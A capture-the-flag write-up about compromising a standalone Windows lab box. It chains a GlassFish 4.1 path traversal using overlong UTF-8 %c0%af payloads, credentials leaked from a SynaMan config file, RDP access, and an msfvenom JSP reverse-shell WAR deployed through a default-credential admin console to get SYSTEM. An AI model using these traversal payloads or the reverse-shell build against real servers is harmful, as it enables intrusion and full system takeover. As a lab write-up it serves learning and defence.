gp_sec
Back to all CTFs

Fish: a GlassFish traversal that reads its way in, then a WAR to SYSTEM

This is a standalone Windows box, no domain, but it's a good one because the whole path is about reading the right files and then abusing a service that runs too high. A path traversal in an old GlassFish server lets me read any file on disk. One of those files leaks a password. That password gets me in over RDP. And because the GlassFish service itself runs as SYSTEM, I hand it a malicious app and it runs my code as SYSTEM. Clean start to finish.

What's running

The scan showed a busy Windows host: RDP, a GlassFish 4.1 admin console on 4848, a SynaMan file manager on 6060, and a couple of GlassFish web ports. An old GlassFish version is worth checking straight away, and this one was vulnerable.

GlassFish path traversal

GlassFish 4.1 has a directory traversal bug in its /theme/META-INF/ path. The trick is that it validates against normal ../ sequences, but you can slip past the check using an overlong UTF-8 encoding of the slash, %c0%af, which the server still decodes as a path separator. No login needed. That means I can read any file on the box:

/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

That returned win.ini, so the read worked. From there it's a hunt: which files on this box hold something useful?

Reading creds out of a config file

The SynaMan file manager was also on the box, and that software is known to store its SMTP password in cleartext in its config. So I used the traversal to read SynaMan's AppConfig.xml:

/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%afSynaMan/config/AppConfig.xml

And there it was, a username and password sitting in the XML in the clear:

smtpUser:     arthur
smtpPassword: KingOfAtlantis

A password stored for email, reused for the actual Windows account. That's a common real-world mistake, and it's exactly what made this box solvable.

Getting a foothold over RDP

I checked the credentials against SMB and they were valid for the user arthur. WinRM wasn't available, but RDP was open, so I logged in to a full desktop as arthur and grabbed the user flag. Foothold done.

The service that runs as SYSTEM

Now for root. I looked at what services were running and how, and the GlassFish service stood out, it runs as LocalSystem (SYSTEM). That's the key fact. GlassFish is an application server: its whole job is to run web apps you deploy to it. If the service runs as SYSTEM, then any app I deploy runs as SYSTEM too.

So the plan is simple: build a small malicious web app (a WAR file with a reverse shell), and deploy it through the GlassFish admin console. The admin console still had default credentials (admin:admin), so I was already able to log in.

# build a WAR with a reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<me> LPORT=5555 -f war -o pwn.war

I copied the WAR onto the box (I already had an RDP session as arthur), deployed it through the admin console's Applications page, started a listener, and hit the app's URL to trigger it. The shell came back running as SYSTEM, and the proof flag was in the Administrator's desktop.

The chain, in one line

A GlassFish traversal reads a config file, the config leaks a reused password, the password gets RDP access, and because GlassFish runs as SYSTEM, deploying a WAR to it runs my shell as SYSTEM.

What I took from it

Two things. First, when you find a file-read bug, the win is usually not the obvious file, it's a config belonging to some other app on the box. Here the GlassFish bug read SynaMan's config, and that's what leaked the password. Look sideways. Second, always check what a service runs as. An app server running as SYSTEM turns "I can deploy an app" into "I can run code as SYSTEM", and that's a straight line from a default admin login to full control. Default creds plus an over-privileged service is a combination you see in real environments, not just labs.

Back to all CTFs